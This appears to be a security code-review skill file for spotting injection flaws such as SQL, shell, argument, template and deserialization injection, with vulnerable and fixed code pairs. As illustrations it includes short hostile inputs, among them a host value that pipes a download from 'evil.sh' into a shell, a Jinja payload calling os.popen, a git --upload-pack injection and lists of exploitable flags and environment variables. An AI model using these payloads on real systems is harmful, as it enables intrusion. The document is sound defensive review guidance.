injection-and-dangerous-sinks
Use when the diff builds a query, a shell command or argv, a subprocess environment, a template, an XML parse, an eval or a deserialization from data that may be attacker-controlled - SQL/NoSQL, OS command, argument, env-var, template and code injection, XXE, unsafe deserialization
- License 许可
- Apache-2.0
- 最近更新
- 2026-11-15
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- ★ 122
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01 前言 Front Matter
- name
- injection-and-dangerous-sinks
- source
- original; informed by trailofbits/skills (CC BY-SA 4.0, ideas only, own wording) and anthropics/claude-code security-guidance plugin (ideas only); OWASP Top 10:2025 A05/A08 and CWE cited by name only
- category
- security
- tech_stack
- Web & API
- description
- Use when the diff builds a query, a shell command or argv, a subprocess environment, a template, an XML parse, an eval or a deserialization from data that may be attacker-controlled - SQL/NoSQL, OS command, argument, env-var, template and code injection, XXE, unsafe deserialization
03 SKILL.md 正文
Injection and Dangerous Sinks
Overview
Injection is attacker data crossing from the data channel into the code channel of an interpreter: SQL, a shell, a template engine, an XML parser, a deserializer. The fix is almost always structural — keep data and code in separate channels — not escaping.
Core principle: the sink is only half the finding. Trace the value back to a source the attacker controls before you call it injection; a constant or a server-side config value in the same position is not.
1. SQL Injection (CWE-89)
Only string-built SQL counts. Parameter binding and ORM query builders are the control working.
// ❌
rows, _ := db.Query("SELECT * FROM users WHERE email = '" + email + "'")
// ✅
rows, _ := db.Query("SELECT * FROM users WHERE email = $1", email)
Where it hides in ORM code: Django .raw(), .extra(), RawSQL; SQLAlchemy text(f"…"); JPA createQuery("… " + x) (JPQL injection) and createNativeQuery; Spring JdbcTemplate with concatenation; Prisma $queryRawUnsafe/$executeRawUnsafe; Sequelize literal(); Knex raw() with template strings. Identifiers (ORDER BY, column, table names) cannot be bound — they need an allowlist:
# ❌ sort comes from the query string
cur.execute(f"SELECT * FROM tasks ORDER BY {sort}")
# ✅
cur.execute(f"SELECT * FROM tasks ORDER BY {SORTABLE[sort]}") # dict lookup; KeyError → 400
2. NoSQL Operator Injection (CWE-943)
A JSON body can carry an object where a string was expected.
// ❌ body {"email": "a@b.c", "password": {"$ne": null}} matches any password
const user = await Users.findOne({ email: req.body.email, password: req.body.password });
// ✅ force scalar types at the boundary (schema validation or String())
const user = await Users.findOne({ email: String(req.body.email) });
Also $where, $function and mapReduce with user-built JavaScript.
3. OS Command Injection (CWE-78)
The dangerous part is the shell. sh -c, shell=True, child_process.exec, backticks, system(), popen().
# ❌ host = "8.8.8.8; curl evil.sh | sh"
subprocess.run(f"ping -c 1 {host}", shell=True)
# ✅ argv list, no shell; host validated as an address (which also rules out a leading "-")
subprocess.run(["ping", "-c", "1", str(ipaddress.ip_address(host))], check=True)
exec.Command(name, args...), execFile/spawn with shell: false, ProcessBuilder(list) and Java's Runtime.exec(String) (it tokenises, it does not invoke a shell) are not shell injection — but see argument injection.
4. Argument Injection (CWE-88)
No shell, still exploitable: a value that starts with - becomes an option of the program.
// ❌ url = "--upload-pack=touch /tmp/pwned" runs a command
exec.Command("git", "clone", url, dir)
// ✅ end of options, and reject leading dashes on values meant as operands
exec.Command("git", "clone", "--", url, dir)
Known gadgets: git --upload-pack=/-c core.sshCommand=, ssh -oProxyCommand=, tar --checkpoint-action=exec=, curl -o/-K, rsync -e, find -exec, zip -T -TT, wget --use-askpass. Fix: -- before operands, plus validation that operands do not start with -.
5. Environment-Variable Injection into Subprocesses
When a caller controls environment variable names or values passed to a child, several variables are code execution:
LD_PRELOAD, LD_LIBRARY_PATH, DYLD_INSERT_LIBRARIES, NODE_OPTIONS (--require), PYTHONPATH, PYTHONSTARTUP, BASH_ENV, ENV, PERL5OPT, RUBYOPT, GIT_SSH_COMMAND, GIT_CONFIG_*, JAVA_TOOL_OPTIONS.
// ❌ user-supplied env merged into the child
spawn(tool, args, { env: { ...process.env, ...req.body.env }, shell: false });
// ✅ only named, validated keys
spawn(tool, args, { env: { PATH: process.env.PATH, LANG: "C", JOB_ID: jobId }, shell: false });
6. Code Injection and eval (CWE-94, CWE-95)
eval, new Function, Node vm (not a sandbox), Python eval/exec/compile, Java ScriptEngine, Groovy shells, SpEL parseExpression(userInput), OGNL/MVEL, Ruby instance_eval/send with user method names, setTimeout(string). Any user-influenced string reaching these is CRITICAL when reachable. Model output reaching them: llm-and-agent-security.
7. Template Injection (CWE-1336)
User input used as the template, not as a template variable.
# ❌ the user writes Jinja: {{ cycler.__init__.__globals__.os.popen('id').read() }}
return render_template_string(f"Hello {name}")
# ✅ the user's value is data
return render_template_string("Hello {{ name }}", name=name)
Same shape: Go text/template parsing user text; FreeMarker/Velocity templates from user input; Thymeleaf view names built from input (return "user/" + lang; evaluates __${…}__ preprocessing); Handlebars/Pug compiled from input.
Orchestrator templates are the same bug one level up: Airflow templated fields (bash_command="echo {{ params.x }}" or {{ dag_run.conf['x'] }}) where a trigger supplies the value; Argo Workflows {{inputs.parameters.x}} substituted into a script's source; Tekton $(params.x) inside script:. Fix: pass the value through an environment variable and quote it in the script.
8. XXE (CWE-611)
- Java
DocumentBuilderFactory,SAXParserFactory,XMLInputFactory,TransformerFactoryresolve DTDs and external entities unless configured — look fordisallow-doctype-declset to true or the equivalent feature flags. - Python:
lxmlwithresolve_entities=Trueorno_network=Falseon untrusted XML; preferdefusedxml. The stdlibxml.etreedoes not fetch external entities but still expands internal ones. - .NET:
XmlDocument/XmlTextReaderwith a non-nullXmlResolverorDtdProcessing.Parse. - Go
encoding/xmldoes not resolve external entities — not a finding.
9. Unsafe Deserialization (CWE-502)
A deserializer that can instantiate arbitrary types runs attacker code when fed attacker bytes.
| Stack | Dangerous on untrusted input | Safe alternative |
|---|---|---|
| Python | pickle.load(s), joblib.load, pd.read_pickle, np.load(..., allow_pickle=True), torch.load(..., weights_only=False) (and plain torch.load on torch < 2.6), yaml.load(..., Loader=yaml.Loader), yaml.unsafe_load, dill, cloudpickle |
JSON, yaml.safe_load, safetensors, ONNX, skops |
| Java/Kotlin | ObjectInputStream.readObject, XMLDecoder, XStream without allowlist, Jackson default typing / @JsonTypeInfo(use = Id.CLASS), SnakeYAML < 2.0 new Yaml().load |
DTOs with explicit types, an ObjectInputFilter allowlist |
| .NET | BinaryFormatter, NetDataContractSerializer, LosFormatter, Json.NET TypeNameHandling other than None |
System.Text.Json with known types |
| Ruby / PHP / Node | Marshal.load, YAML.unsafe_load; unserialize; node-serialize, funcster |
JSON.parse, YAML.safe_load |
"Untrusted" includes a model file a user uploads, a cache entry in a shared Redis, a cookie, and a message on a queue other services write.
Severity Guide
Reachable command, code, template or deserialization injection → CRITICAL. SQL injection → HIGH, CRITICAL when unauthenticated or reaching credentials. XXE reading local files → HIGH.
Common Mistakes
- Calling parameterised SQL or an ORM filter injectable.
- Calling
exec.Command("git", "log", userRef)shell injection — it is argument injection, and only if the value can start with-. - Flagging
LIKEwildcards (%,_) as SQL injection — at most a correctness bug. - Flagging
yaml.safe_loadortorch.load(..., weights_only=True). - Missing that the "template" passed to
render_template_stringis itself built with an f-string.
Red Flags
f",+,%,.format(,${orfmt.Sprintfon the line that builds a query, a command or a template.shell=True,sh -c,bash -c,cmd /c,exec(fromchild_process.- A subprocess whose argv operands come from a request and have no
--before them. env:built by spreading request data.- A loader for pickles, model files or serialized objects fed from an upload, a URL or a shared store.
References (names and links only)
OWASP Top 10:2025 A05 Injection, A08 Software or Data Integrity Failures · CWE-78, 88, 89, 94, 502, 611, 943, 1336 at cwe.mitre.org · ASVS 5.0 V1 Encoding and Sanitization
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